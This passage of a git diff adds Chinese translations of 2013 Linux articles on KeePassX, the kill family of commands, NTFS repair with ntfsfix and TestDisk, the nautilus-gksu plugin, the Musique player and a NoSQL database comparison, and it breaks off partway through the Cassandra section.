+为了查看常用的账号,工作或者学习的时候要频繁地掏手机,这也是一件挺痛苦的事儿,所以设置密码的时候不妨想象一下这种情形,哈。 + +###未来 + +如果你以前也深入了解过KeePass 2和KeePassX,或许会注意到二者使用不同的数据库格式。 + +KeePass 2使用一种新的版本格式,比如允许自定义字段。尽管KeePassX目前还不支持新的.kdbx格式,不过正在开发中的新的版本会支持的。 + +可以预览一下新版本的KeePassX,界面大为改善。你也可以从GitHub上[6]下载后自己安装。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-19_33_23.png) +*KeePassX 2.0 主界面* + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-19_34_14.png) +*密码项的一些细节* + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-19_34_44.png) +*密码项的附加属性* + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-19_35_18.png) +*历史登陆信息,比如从先前的版本替换掉"Backup"文件夹之类的* + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-19_35_51.png) +*KeePassX 2.0 中的配置* + +###其他建议 + +正如本文开头所说,**我在寻找能够跨平台的东西**。这正是.kdb格式的优点 - 很多应用都支持这种格式。KeePassX 在 Mac OS X上运行起来要比KeePass 2容易得多,在windows上也可以。 + +Android系统上,我使用KeePassDroid[6],在我的手机和平板上运行都很稳定。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/manage-passwords-securely-keepassx + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:https://lastpass.com/ +[2]:http://keepass.info/index.html +[3]:http://apt.ubuntu.com/p/keepassx +[4]:https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en +[5]:https://github.com/keepassx/keepassx +[6]:https://play.google.com/store/apps/details?id=com.android.keepass&hl=en_GB +[7]:http://www.omgubuntu.co.uk/2013/10/manage-passwords-securely-keepassx#comment-1080345241 diff --git a/published/201310/Mark Shuttleworth Thinks Apple Used the Ubuntu Edge Convergence Idea for iPhone 5S.md b/published/201310/Mark Shuttleworth Thinks Apple Used the Ubuntu Edge Convergence Idea for iPhone 5S.md new file mode 100644 index 0000000000..fce83456d5 --- /dev/null +++ b/published/201310/Mark Shuttleworth Thinks Apple Used the Ubuntu Edge Convergence Idea for iPhone 5S.md @@ -0,0 +1,23 @@ +Mark Shuttleworth认为苹果5S使用了Ubuntu Edge终端融合的创意 +===================================================== + +Canonical公司的创始人Mark Shuttleworth通过这一有趣的说法将Ubuntu Egde智能手机与iPhone 5S联系了起来。 +![img](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Thinks-Apple-Used-the-Ubuntu-Edge-Convergence-Idea-for-iPhone-5S-390507-2.jpg) + +几个月前,Canonical和Mark Shuttleworth尝试筹资来推出一款手机,该手机被认为是手机中的“F1赛车”。虽然筹资失败了,但是他认为苹果已经从这款手机(Ubuntu Edge)的概念中获得了灵感。 + +“我认为Ubuntu Edge可能加速了终端融合的概念,你看苹果描述他们的新的CPU为‘桌面级’的,我认为这并不是偶然。”他在接受[ZDnet][1]采访时这么说。 + +Canonical公司的创始人可能有一些我们不能获得的内部消息,不过这也许只是一个有趣的猜测。 + +苹果是否会按照Canonical的Ubuntu Edge手机描绘的终端聚合方向发展还有待观察。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Mark-Shuttleworth-Thinks-Apple-Used-the-Ubuntu-Edge-Convergence-Idea-for-iPhone-5S-390507.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](https://github.com/SCUSJS) 校对:[wxy](https://linux.cn/space/wxy) + +[1]:http://www.zdnet.com/mark-shuttleworth-on-how-the-ubuntu-edge-dream-lives-on-in-the-iphone-7000021857/ \ No newline at end of file diff --git a/published/201310/Mark Shuttleworth to attend and conduct keynote at OpenStack Summit in Hong Kong, November 5th - 8th 2013.md b/published/201310/Mark Shuttleworth to attend and conduct keynote at OpenStack Summit in Hong Kong, November 5th - 8th 2013.md new file mode 100644 index 0000000000..f1cd1a8ed4 --- /dev/null +++ b/published/201310/Mark Shuttleworth to attend and conduct keynote at OpenStack Summit in Hong Kong, November 5th - 8th 2013.md @@ -0,0 +1,33 @@ +Mark Shuttleworth将出席下月5~8号香港OpenStack峰会并演讲 +================================================================================ + +通过分析[Canonical][1],调查者不难发现几个改变,其中包括愿景、奋斗目标和行动准则等,都已经逐渐地将Canonical定位到业界之巅,通过在所有相关业绩和计算环境方面的成绩,它成为了领导创新发展的非常重要的部分。 + +Ubuntu桌面环境为那些追求稳定、快速、安全而优美的个人用户、公司企业和国家部门支撑了3000万台计算机的运行,这是一个巨大的成功,然而,这个桌面系统只是Canonical跨过层层困难到达IT世界之巅的蓬勃运动的一部分。 + +在云计算方面,Canonical已经深入而积极参与到OpenStack的创建上。作为最流行、可靠的、快速的开源云平台,Ubuntu正是OpenStack所基于的操作系统,这个云平台是汇集了NASA、HP和世界上的专家们,通力合作的所开发的开放云平台。 + +Ubuntu是公司和开发者所渴望使用的强大的OpenStack[原生的][2]操作系统,Ubuntu提供了众多优势和优点:Ubuntu和OpenStack发布时间是同步的,同步的发行使得OpenStack能在最新的Utuntu下运行,Canonical提供支持,包括产品、服务等,来支持最佳的OpenStack的管理和操作等。 + +**OpenStack峰会**是一个专家们的重要集会,在这里讨论、提出和分析OpenStack各个方面的内容,也包括丰富的展览、案例研究,以来自创新开发者的基调为特色,也有开发者集会和工作分享,最主要的是专家们会讨论关于目前和将来的OpenStack和云计算的格局。 + +![](http://iloveubuntu.net/pictures_me/openstack%20summit%20hong%20kong%202013.png) + +这次OpenStack峰会将会于11月5号到8号在香港举行,可以[在此注册参会][3]。 + +Canonical的**Mark Shuttleworth**已经确定会出席在香港举行的OpenStack峰会,他将做一个讲演,围绕交互性,进一步加强Ubuntu和OpenStack的结合等,并揭示关于未来的创新目标的新细节、计划和Canonical为Ubuntu所做的成就。 + +更多细节请点击 [https://www.openstack.org/summit/hk][4] + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/mark-shuttleworth-attend-and-conduct-keynote-openstack-summit-hong-kong-november-5th-8th-2013 + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.canonical.com/ +[2]:http://www.ubuntu.com/cloud/tools/openstack +[3]:https://www.eventbrite.com/event/6786581849/o21 +[4]:https://www.openstack.org/summit/hk \ No newline at end of file diff --git "a/published/201310/Mastering the \342\200\234Kill\342\200\235 Command in Linux.md" "b/published/201310/Mastering the \342\200\234Kill\342\200\235 Command in Linux.md" new file mode 100644 index 0000000000..9cbfcee57d --- /dev/null +++ "b/published/201310/Mastering the \342\200\234Kill\342\200\235 Command in Linux.md" @@ -0,0 +1,89 @@ +精通Linux的“kill”命令 +================= + +无论你使用哪种操作系统,你一定会遇到某个行为失常的应用,它把自己锁死并拒绝关闭。在Linux(还有Mac),你可以用一个"kill"命令强制终结它。在这个教程中,我们将展示给你多种方式使用"kill"命令终结应用。 + +###Kill命令和信号 + +当你执行一个"kill"命令,你实际上发送了一个信号给系统,让它去终结不正常的应用。总共有60个你可以使用的信号,但是基本上你只需要知道SIGTERM(15)和SIGKILL(9)。 + +你可以用这个命令看到所有信号的列表: + + kill -l + +![](http://i1.wp.com/imagecdn5.maketecheasier.com/2013/10/kill-list-signal.png) + +- SIGTERM - 此信号请求一个进程停止运行。此信号是可以被忽略的。进程可以用一段时间来正常关闭,一个程序的正常关闭一般需要一段时间来保存进度并释放资源。换句话说,它不是强制停止。 +- SIGKILL - 此信号强制进程立刻停止运行。程序不能忽略此信号,而未保存的进度将会丢失。 + +使用"kill"的语法是: + + kill [信号或选项] PID(s) + +默认信号(当没有指定的时候)是SIGTERM。当它不起作用时,你可以使用下面的命令来强制kill掉一个进程: + + kill SIGKILL PID + +或者 + + kill -9 PID + +这里"-9"代表着SIGKILL信号。 + +如果你不知道应用的PID,仅需要运行这个命令: + + ps ux + +它会显示所有正在运行的应用还有应用的PID。 + +![](http://i1.wp.com/imagecdn5.maketecheasier.com/2013/10/kill-find-pid.png) + +例如,要kill掉Chrome,我会运行命令: + + kill -9 3629 + +也可以在同一时间kill多个进程。 + + kill -9 PID1 PID2 PID3 + +###PKill + +"pkill"命令允许使用扩展的正则表达式和其它匹配方式。你现在可以使用应用的进程名kill掉它们,而不是使用PID。例如,要kill掉Firefox浏览器,只需要运行命令: + + pkill firefox + +使用正则表达式匹配的话,你可以输入进程名的部分字符,比如: + + pkill fire + +为了避免kill掉错误的进程,你应该用一下"pgrep -l [进程名]"列表来匹配进程名称。 + +![](http://i0.wp.com/imagecdn5.maketecheasier.com/2013/10/kill-pgrep-command.png) + +###Killall + +killall同样使用进程名替代PID,并且它会kill掉所有的同名进程。例如,如果你正在运行多个Firefox浏览器的实例,可以用命令把它们全部kill掉: + + killall firefox + +在Gnome中,你可以使用这个命令重启Nautilus: + + killall nautilus + +###xkill + +xkill 是图形方式kill一个应用。当你在终端键入"xkill",你的光标将立刻变成一个"十字"。你只需要做的是在不正常的应用上点击一下,它就会立刻kill掉这个应用。如果你经常用的话,你也可以添加一个[键盘快捷键来激活xkill][1]。 + +###结论 + +当应用不正常而导致系统挂起的时候,人们往往重启计算机并且再一次开启所有的任务。而有了这些"kill"命令,你将能够更好的处理不正常的应用,从而避免导致系统崩溃。当你不想因一个不正常的进程而导致服务器宕机时,它尤其的有用。 + +-------------------------------------------------------------------------------- + +via: http://www.maketecheasier.com/kill-command-in-linux/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[flsf](https://github.com/flsf) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.maketecheasier.com/quick-tips/kill-unresponsive-application-in-ubuntu/ diff --git "a/published/201310/Music App \342\200\230Musique\342\200\231 Adds Album Sorting, Gapless Playback and Playlist Tweaks.md" "b/published/201310/Music App \342\200\230Musique\342\200\231 Adds Album Sorting, Gapless Playback and Playlist Tweaks.md" new file mode 100644 index 0000000000..a85954ef5b --- /dev/null +++ "b/published/201310/Music App \342\200\230Musique\342\200\231 Adds Album Sorting, Gapless Playback and Playlist Tweaks.md" @@ -0,0 +1,31 @@ +音乐应用'Musique'增添专辑排序、无缝播放和播放列表调整功能 +============================================== + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/cartoon_clouds_and_blue_sky-wallpaper-1152x864.jpg) + +*Musique1.3排序选项功能(OS X 截图)* + +**这周对于Linux上的音乐爱好者来说是再好不过了,继[Banshee的最新更新][3]之后,一个新的轻量级基于Qt的音乐播放器Musique发布了新版本。** + +[Musique 1.3][1]建立在先前版本的核心功能之上,添加了最被期望的功能:通过网格视图中的歌手名字、人气指数、年代等来 **排序艺术家及专辑** 。 + +更新版本的Musique中,有一个完全重新开发的播放列表的新功能,它可以显示正在播放歌曲的专辑缩略图、歌曲切换提示,并且支持使用GStreamer声音后端的无缝播放。 + +还包含了各种bug修复、专辑和艺术家列表中的性能改进,以及本地专辑封面图片格式的更多选择。 + +Musique 1.3 **已经可以在Ubuntu软件中心中找到** ,支持12.04、12.10和13.10。不用额外使用PPA和deb包。 + +- [从Ubuntu软件中心安装 Musique 1.1][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/musique-1-3-update-adds-album-sorting + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[flsf](https://github.com/flsf) 校对:[Caroline](https://github.com/carolinewuyan) + + +[1]:http://flavio.tordini.org/musique-1-3 +[2]:apt:musique-ubuntu +[3]:http://linux.cn/thread/11710/1/1/ \ No newline at end of file diff --git a/published/201310/NTFS Partition Repair and Recovery In Linux.md b/published/201310/NTFS Partition Repair and Recovery In Linux.md new file mode 100644 index 0000000000..b59abb750f --- /dev/null +++ b/published/201310/NTFS Partition Repair and Recovery In Linux.md @@ -0,0 +1,65 @@ +Linux下NTFS分区的修复和恢复 +========================= + +我们时不时需要帮助我们的朋友、家人、熟人、商业伙伴或者其他杂七杂八的人摆脱使用Windows的时候遇到的困境。尽管我们不像他们一样日常遇到各种问题,却经常是在他们有难的时候会求助的人。此外,甚至我们自己的Windows分区/驱动器也会出现问题(毕竟,有时候我们还是需要玩儿会儿游戏,而且,尽管Steam在努力,但Linux还不是游戏玩家的梦想之地),但愿不会如此。下面让我们看一两个我们可能会遇到的状况,那时我们可以用手边的Linux环境和一些NTFS分区恢复工具来修复它们。 + +###简单修复 + +Windows 系统通常能很好的处理异常的“冷重启”(断电,关闭插线板的电源,或家里的小人儿手指随意按导致关机)。事实上,至今为止,最有效的修复Windows桌面问题的方法就是简单的重启系统。但是,Windows分区偶尔会显示系统需要进行驱动器一致性检测。不这么做的话,在几次重启后可能会引起文件系统状况恶化而使系统变得更糟。众所周知,Windows文件系统检查超级慢,而且经常不得不做好几次才能清理掉文件系统的“脏(dirty)”标志。 + +下面介绍一个叫“ntfsfix”的小工具,在基于Debian的系统(如 Ubuntu)可以通过下面的命令下载: + + sudo apt-get install ntfsfix + +或者在基于RPM的系统(如 Red Hat 或 CentOS)中通过下面的命令下载: + + sudo yum install ntfsfix + +这个‘ntfsfix’工具能快速的修复常见的错误以及NTFS分区不一致的问题。最常用的命令不用带任何参数。 它也可以报出来那些没有修复掉的项,然后我们能通过以下选项来修复它们: + +* -b: 清除磁盘上的坏的扇区 (可以在从一个旧磁盘往新的磁盘上克隆之后使用) +* -d: 清除“脏”标志。“脏”标志是Linux不能挂载一个Windows分区的最常见的原因,通常发生在Windows断电前没有正常关机的情况。 +* -n: 除了在标准输出上显示它要完成的(换句话说,就是需要修复哪些)之外不做任何事。 + +过去Windows在启动前,用NTFS Disk Check来重置“脏”标志,常常要花几个小时。而‘ntfsfix’完成这个仅仅只需要大约三秒的时。 + +###深度修复 + +不幸的是, 并非所有的问题都能被快速修复。事实上,有非常多的昂贵的磁盘恢复软件(通常属于“磁盘取证”类的软件,因为是在筛选损坏磁盘的时候调查人员使用的)用来修复那些加电但不能启动或者不能访问文件系统的磁盘。 + +有一个神奇的工具,免费而强大(而且如果在你本地电脑使用的话,可以放到一个可引导的救援Live CD里面)可以用来恢复你的Windows NTFS分区(而且,也能恢复EXT2/3/4,FAT/FAT32、exFAT、HFS和SunFS文件系统)。这个工具叫做[TestDisk][1],在Debian和CentOS 的软件仓库中可用。Red Hat的软件仓库中并没有这个软件,但是安装它很容易。 + + sudo apt-get install testdisk + +在基于 RPM 的系统(如 Red Hat 或 CentOS): + + sudo yum install testdisk + +这个工具简直无与伦比。如果驱动器加电并且运转了,甚至当驱动器有物理损坏时,这个小工具仍会奇迹般的取出一些文件来。 你可以通过一个旧式风格的命令“sudo testdisk /dev/sdX”来启动它,这里‘X’是你的驱动器号,之后你会看到下面的界面: + +![](http://blog.linuxacademy.com/wp-content/uploads/2013/08/testdisk2.jpg) + +*TestDisk在终端中运行* + +这个工具使用起来很简单,只需要根据菜单提示进行操作,而且它是交互式的。它会扫描你指定的某个分区,然后把重建的目录和文件显示出来,然后你可以标记,并存到另外一磁盘或者分区里面。我已经成功地从Windows,OSX和linux分区里面恢复过文件,这些分区要么因为这种或那种原因不能启动,要么害怕启动之后可能彻底完蛋,总之,这些分区用不了多久就会彻底完蛋了。 + +说句实在的,你不能期望文件系统100%的恢复,尤其是你的驱动器已经有损坏了,不过至少聊胜于无吧,而且不用像去请专业人员处理那样花很多钱(实际上一分也不用花)。所以如果你的驱动器现在有问题了,那你可以用下这个工具。 + +###结束语 + +当你使用Linux的时候,磁盘修复要容易得多,当然也便宜的多,要么用USB转接器连接有问题的磁盘,要么从一个LiveCD启动,然后用CD里面的修复工具。本文中我们谈到的所有的工具都是免费使用,而且是在持续开发(更新)中。您可以在下面留言,谈一下你曾经不得不使用什么工具来从您磁盘的问题中恢复。 + +--- + +via: http://blog.linuxacademy.com/linux/ntfs-partition-repair-and-recovery-in-linux/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[younel0925][] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[younel0925]:http://linux.cn/space/younel0925 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.cgsecurity.org/wiki/TestDisk \ No newline at end of file diff --git "a/published/201310/Nautilus Gksu Plugin \342\200\223 Add \342\200\230Open As Administrator\342\200\231 Option To Your Right Click Menu.md" "b/published/201310/Nautilus Gksu Plugin \342\200\223 Add \342\200\230Open As Administrator\342\200\231 Option To Your Right Click Menu.md" new file mode 100644 index 0000000000..236fc5a46c --- /dev/null +++ "b/published/201310/Nautilus Gksu Plugin \342\200\223 Add \342\200\230Open As Administrator\342\200\231 Option To Your Right Click Menu.md" @@ -0,0 +1,91 @@ +Nautilus Gksu 插件:在右键菜单中增加“以管理员身份打开”选项 +======================================================== + +以前,我很想要一个用管理员身份打开文件/目录的右键菜单选项(在nautilus文件管理器中)。原因在于,每个需有root权限的操作,我都必须返回命令行终端使用sudo。这并不是说我不习惯命令行,但是我仍希望至少有个能等价于[sudo或su][1]的东西。我四处搜索发现一个nautilus插件-- **Nautilus-Gksu** 。 + +**NOTE** -- 本文中所有的示例已经在Ubuntu 13.04上测试过。 + +##Nautilus-Gksu + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gksu-main.png) + +###简短教程 + +Nautilus-Gksu插件在右键菜单中添加了一个有用的选项-- **以管理员身份打开(Open as administrator)** 。这对nautilus文件管理器中处理文件和目录和有用。 + +例如,假设你想从nautilus文件管理器中打开root目录。想当然的双击将获取一个错误信息,如: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gksu-1.png) + +但是你安装nautilus gksu插件后,你需要做的是在目录上右击并选择“以管理员身份打开(Open as administrator)”选项。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gksu-2.png) + +一旦你点击了这个选项,你将被提示输入密码。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gksu-3.png) + +只要输入密码就行了。 + +###下载/安装 + +正如前面提到的,这些天我的大多数文章用Ubuntu 13.04完成,允许我坦白的讲,通过之前推荐的方式安装这个插件很困难。 + +就是说像这样命令: + + sudo apt-get install nautilus-gksu + +它不工作且获得以下错误信息: + + Reading package lists... Done + Building dependency tree + Reading state information... Done + E: Unable to locate package nautilus-gksu + +我google了一下这个问题,发现我不是唯一遇到这个问题的,但是许多其他Ubuntu 13.04用户也面临一个[类似的问题][2]。不管怎样,我一直在寻找解决方案,直到我发现一个线索指向该[解决方案][3]。我在[AskUbuntu][4]上阅读完帖子并尝试在Ubuntu 12.04上提到的步骤。 + +这是帖子的一个截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gksu-4.png) + +阅读完上面的帖子,我使用以下步骤来完成安装: + +- 下载[64位插件][5]。[我的是64位系统] +- 解压下载后的deb文件。 +- 执行以下命令(译者注:直接复制插件的.so文件到插件安装目录): + + sudo cp /home/himanshu/Downloads/nautilus-gksu_2.0.2-5ubuntu2_amd64/usr/lib/nautilus/extensions-2.0/libnautilus-gksu.so /usr/lib/nautilus/extensions-3.0/ + +这样插件就安装成功了。 + +###总结 + +如果你的工作涉及到使用Nautilus文件管理器管理你的日常文件,那么这个插件是你的首选。虽然在Ubuntu 13.04上安装它并不容易,但是它仍然值得付出努力。 + +**优点** + +让你右击使用root权限轻松打开任何文件或目录。 + +**缺点** + +在Ubuntu 13.04上安装不容易。 + +--- + +via: http://mylinuxbook.com/nautilus-gksu/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[wxy]:http://linux.cn/space/wxy + +[1]:http://mylinuxbook.com/sudo-vs-su-in-ubuntu-linux/ +[2]:http://askubuntu.com/questions/314267/how-can-i-install-nautilus-gksu +[3]:http://s5407.socode.info/question/5152c20be8432c04268cee15 +[4]:http://askubuntu.com/questions/78116/where-is-the-open-as-administrator-option-in-nautilus-gone +[5]:http://ubuntu.mirror.cambrium.nl/ubuntu//pool/main/g/gksu/nautilus-gksu_2.0.2-5ubuntu2_amd64.deb + diff --git a/published/201310/NoSQL comparison.md b/published/201310/NoSQL comparison.md new file mode 100644 index 0000000000..6b7cd9a6f1 --- /dev/null +++ b/published/201310/NoSQL comparison.md @@ -0,0 +1,463 @@ +各种 NoSQL 的比较 +================ + +即使关系型数据库依然是非常有用的工具,但它们持续几十年的垄断地位就要走到头了。现在已经存在无数能撼动关系型数据库地位的 NoSQL,当然,这些 NoSQL 还无法完全取代它们。(也就是说,关系型数据库还是处理关系型事务的最佳方式。) + +NoSQL 与 NoSQL 之间的区别,要远大于不同的 SQL 数据库之间的区别,所以软件架构师必须要在项目一开始就选好一款合适的 NoSQL。 + +考虑到这种情况,本文为大家介绍以下几种 NoSQL 之间的区别:[Cassandra][], [Mongodb][], [CouchDB][], [Redis][], [Riak][], [Couchbase (ex-Membase)][], [Hypertable][], [ElasticSearch][], [Accumulo][], [VoltDB][], [Kyoto Tycoon][], [Scalaris][], [Neo4j][]和[HBase][]: + +##最流行的 NoSQL + +###MongoDB 2.2版 + +**开发语言:** C++ + +**主要特性:** 保留 SQL 中一些用户友好的特性(查询、索引等) + +**许可证:** AGPL (驱动: 采用Apache许可协议) + +**数据传输格式:** 自定义,二进制( BSON 文档格式) + +- 主/从备份(支持自动故障切换功能) +- 自带数据分片功能 +- 通过 javascript 表达式提供数据查询 +- 服务器端完全支持 javascript 脚本 +- 比 CouchDB 更好的升级功能 +- 数据存储使用内存映射文件技术 +- 功能丰富,性能不俗 +- 最好开启日志功能(使用 --journal 参数) +- 在 32 位系统中,内存限制在 2.5GB +- 空数据库占用 192MB 空间 +- 使用 GridFS(不是真正的文件系统)来保存大数据和元数据 +- 支持对地理数据建立索引 +- 可用于数据中心 + +**应用场景:** + +- 动态查询 +- 喜欢定义索引,而不是使用 map/reduce 功能 +- 高性能的大数据访问 +- 想使用 CouchDB 但数据变化频度太大 + +**使用案例:** + +想布署 MySQL 或 PostgreSQL,但预先定义数据字典让你望而却步。这个时候,MongoDB 是你可以考虑的选项 + +###Riak 1.2版 + +**开发语言:** Erlang、C、以及一些 JavaScript + +**主要特性:** 容错机制(当一份数据失效,服务会自动切换到备份数据,保证服务一直在线 —— 译者注) + +**许可证:** Apache + +**数据传输格式:** HTTP/REST 架构,或自定义二进制格式 + +- 可存储 BLOB(binary large object,二进制大对象,比如一张图片、一个声音文件 —— 译者注) +- 可在分布式存储和复制存储之间作协调 +- 为了保证可验证性和安全性,Riak 在 JS 和 Erlaing 中提供提交前(pre-commit)和提交后(post-commit)钩子(hook)函数(你可以在提交数据前执行一个 hook,或者在提交数据后执行一个 hook —— 译者注) +- JS 和 Erlang 提供映射和简化(map/reduce)编程模型 +- 使用 links 和 link walking ,用于图形化数据库(link 用于描述对象之间的关系,link walking 是一个用于查询对象关系的进程 —— 译者注) +- 次要标记(secondaty indeces,开发者在写数据时可用多个名称来标记一个对象 —— 译者注),一次只能用一个 +- 支持大数据对象(Luwak)(Luwak 是 Riak 中的一个服务层,为大数据量对象提供简单的、面向文档的抽象,弥补了 Riak 的 Key/Value 存储格式在处理大数据对象方面的不足 —— 译者注) +- 提供“开源”和“企业”两个版本 +- 基于Riak搜索的全文检索、建立索引和查询 +- 正在将存储后端从“Bitcask”迁移到 Google 的“LevelDB”上 +- 企业版本提供无主模式的多点复制(各点地位平等,非主从架构)和SNMP监控功能 + +**应用场景:** + +- 假如你想要类似 Dynamo 的数据库,但不想要它的庞大和复杂 +- 假如你需要良好的单点可扩展性、可用性和容错能力,但不想为多点备份买单。 + +**使用案例:** + +销售点数据收集;工厂控制系统;必须实时在线的系统;需要易于升级的网站服务器 + +###CouchDB 1.2版 + +**开发语言:** Erlang + +**主要特性:** 数据一致性;易于使用 + +**许可证:** Apache + +**数据传输格式:** HTTP/REST + +- 双向复制!(一种同步技术,每个备份点都有一份它们自己的拷贝,允许用户在存储点断线的情况下修改数据,当存储节点重新上线时,CouchDB 会对所有节点同步这些修改 —— 译者注) +- 支持持续同步或者点对点同步 +- 支持冲突检测 +- 支持主主互备!(多个数据库实时同步数据,起到备份和分摊用户并行访问量的作用 —— 译者注) +- 多版本并发控制(MVCC),写操作时不需要阻塞读操作(或者说不需要锁住数据库的读取操作) +- 向下兼容以前版本的数据 +- 可靠的 crash-only 设计(所谓 crash-only,就是程序出错时,只需重启下程序,丢弃内存的所有数据,不需要执行复杂的数据恢复操作 —— 译者注) +- 需要实时压缩数据 +- 视图(文档是 CouchDB 的核心概念,CouchDB 中的视图声明了如何从文档中提取数据,以及如何对提取出来的数据进行处理 —— 译者注):内嵌映射和简化(map/reduce)编程模型 +- 格式化的views字段:lists(包含把视图运行结果转换成非 JSON 格式的方法)和 shows(包含把文档转换成非 JSON 格式的方法)(在 CouchDB 中,一个 Web 应用是与一个设计文档相对应的。在设计文档中可以包含一些特殊的字段,views 字段包含永久的视图定义 —— 译者注) +- 能够进行服务器端文档验证 +- 能够提供身份认证功能 +- 通过 _changes 函数实时更新数据! +- 链接处理(attachment:couchDB 的每份文档都可以有一个 attachment,就像一份 email 有它的网址 —— 译者注) +- 有个 [CouchApps][1](第三方JS的应用) + +**应用场景:** + +- 用于随机数据量多、需要预定义查询的地方 +- 用于版本控制比较重要的地方 + +**使用案例:** + +可用于客户关系管理(CRM),内容管理系统(CMS);可用于主主互备甚至多机互备 + +###Redis 2.4版 + +**开发语言:** C/C++ + +**主要特性:** 快到掉渣 + +**许可证:** BSD + +**数据传输格式:** 类似 Telnet 式的交换 + +- Redis 是一个内存数据库(in-memory database,简称 IMDB,将数据放在内存进行读写,这才是“快到掉渣”的真正原因 —— 译者注),磁盘只是提供数据持久化(即将内存的数据写到磁盘)的功能(这类数据库被称为“disk backed”数据库) +- 当前不支持将磁盘作为 swap 分区,虚拟内存(VM)和 Diskstore 方式都没加到此版本(Redis 的数据持久化共有4种方式:定时快照、基于语句追加、虚拟内存、diskstore。其中 VM 方式由于性能不好以及不稳定的问题,已经被作者放弃,而 diskstore 方式还在实验阶段 —— 译者注) +- 主从备份 +- 存储结构为简单的 key/value 或 hash 表 +- 但是[操作比较复杂][2],比如:ZREVRANGEBYSCORE +- 支持 INCR(INCR key 就是将key中存储的数值加一 —— 译者注)命令(对限速和统计有帮助) +- 支持sets数据类型(以及 union/diff/inter) +- 支持 lists (以及 queue/blocking pop) +- 支持 hash sets (多级对象) +- 支持 sorted sets(高效率的表,在范围查找方面有优势) +- 支持事务处理! +- 缓存中的数据可被标记为过期 +- Pub/Sub 实现了消息订阅和推送! + +**应用场景:** + +- 适合布署快速多变的小规模数据(可以完全运行在存在中) + +**使用案例:** + +股价系统、分析系统、实时数据收集系统、实时通信系统、以及取代 memcached + +##Google Bigtable 的衍生品 + +###HBase 0.92.0 版 + +**开发语言:** Java + +**主要特性:** 支持几十亿行*几百万列的大表 + +**许可证:** Apache + +**数据传输格式:** HTTP/REST (也支持 Thrift 开发框架) + +- 仿造 Google 的 BigTable +- 使用 Hadoop 的 HDFS 文件系统作为存储 +- 使用 Hadoop 的映射和简化(map/reduce)编程模型 +- 查询条件被推送到服务器端,由服务器端执行扫描和过滤 +- 对实时查询进行优化 +- 高性能的 Thrift gateway(访问 HBase 的接口之一,特点是利用 Thrift 序列化支持多种语言,可用于异构系统在线访问 HBase 表数据 —— 译者注) +- 使用 HTTP 通信协议,支持 XML、Protobuf 以及二进制格式 +- 支持基于 Jruby(JIRB)的shell +- 当配置信息有更改时,支持 rolling restart(轮流重启数据节点) +- 随机读写性能与 MySQL 一样 +- 一个集群可由不同类型的结点组成 + +**应用场景:** + +- Hadoop 可能是在大数据上跑 Map/Reduce 业务的最佳选择 +- 如果你已经搭建了 Hadoop/HDFS 架构,HBase 也是你最佳的选择。 + +**使用案例:** + +搜索引擎;日志分析系统;扫描大型二维非关系型数据表。 + +###Cassandra 1.2版 + +**开发语言:** Java + +**主要特性:** BigTable 和 Dynamo的完美结合(Cassandra 以 Amazon 专有的完全分布式的 Dynamo 为基础,结合了Google BigTable基于 Column Family 的数据模型 —— 译者注) + +**许可证:** Apache + +**数据传输格式:** Thrift 和自定义二进制 CQL3(即 Cassandra 查询语言第3版 —— 译者注) + +- 可以灵活调整对数据的分布式或备份式存储(通过设置N,R,W之间的关系)(NRW是数据库布署模型中的概念,N是存储网络中复制数据的节点数,R是网络中读数据的节点数,W是网络中写数据的节点数。一个环境中N值是固定的,设置不同的WR值组合能在数据可用性和数据一致性之间取得不同的平衡,可参考 CAP 定理 —— 译者注) +- 按列查询,按keys值排序后存储(需要包含你想要搜索的任何信息)(Cassandra 的数据模型借鉴自 BigTable 的列式存储,列式存储可以理解成这样,将行ID、列簇号,列号以及时间戳一起,组成一个Key,然后将Value按Key的顺序进行存储 —— 译者注) +- 类似 BigTable 的特性:列、列簇 +- 支持分布式 hash 表,使用“类 SQL” 语言 —— CQL(但没有 SQL 中的 JOIN 语句) +- 可以为数据设置一个过期时间(使用 INSERT 指令) +- 写性能远高于读性能(读性能的瓶颈是磁盘 